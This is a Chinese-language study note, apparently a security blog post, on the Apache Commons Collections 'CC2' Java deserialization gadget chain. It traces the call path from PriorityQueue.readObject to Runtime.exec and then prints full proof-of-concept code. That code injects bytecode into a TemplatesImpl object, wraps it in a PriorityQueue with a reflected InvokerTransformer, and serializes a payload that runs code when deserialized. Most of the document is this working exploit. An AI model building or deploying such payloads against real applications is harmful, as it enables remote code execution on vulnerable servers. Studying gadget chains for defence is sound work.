Gadgat
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
- PriorityQueue#readObject() 中调⽤了 heapify() ⽅法,
- heapify() 中调⽤了 siftDown() ,
- siftDown() 中调⽤了siftDownUsingComparator() ,
- siftDownUsingComparator() 中调⽤的comparator.compare()
- TransformingComparator类的compare()方法调用了transformer方法
CC2主要入口点是PriorityQueue(优先队列)类,PriorityQueue实现了Serializable接口,允许序列化,
借助TransformingComparator的compare()方法调用teansformer
完整代码
import com.duziteng.springbootdemo.test.classLoadTest.RuntimeTemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CC2PriorityQueue {
public static void main(String[] args) throws Exception {
byte[] bytes = ClassPool.getDefault().get(RuntimeTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes}); // _bytecodes由字节码组成的数组
setFieldValue(templates, "_name", "");//_name可以是任意字符串,只要不为null即可
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());//_tfactory 需要是一个 TransformerFactoryImpl 对象,因为TemplatesImpl#defineTransletClasses() 方法里有调用到_tfactory.getExternalExtensionsMap() ,如果是null会出错。
InvokerTransformer<Object, Object> transformer = new InvokerTransformer<>("toString", null, null);
TransformingComparator transformingComparator = new TransformingComparator(transformer);
/**
* readObject() 中调⽤了 heapify() ⽅法,
* heapify() 中调⽤了 siftDown() ,
* siftDown() 中调⽤了siftDownUsingComparator() ,
* siftDownUsingComparator() 中调⽤的comparator.compare()
*/
PriorityQueue<Object> objects = new PriorityQueue<>(transformingComparator);
objects.add(templates);
objects.add(templates);
setFieldValue(transformer, "iMethodName", "newTransformer");
serialize(objects);
unSerialize();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D://ser2.bin"));
objectOutputStream.writeObject(obj);
}
public static Object unSerialize() throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D://ser2.bin"));
return objectInputStream.readObject();
}
}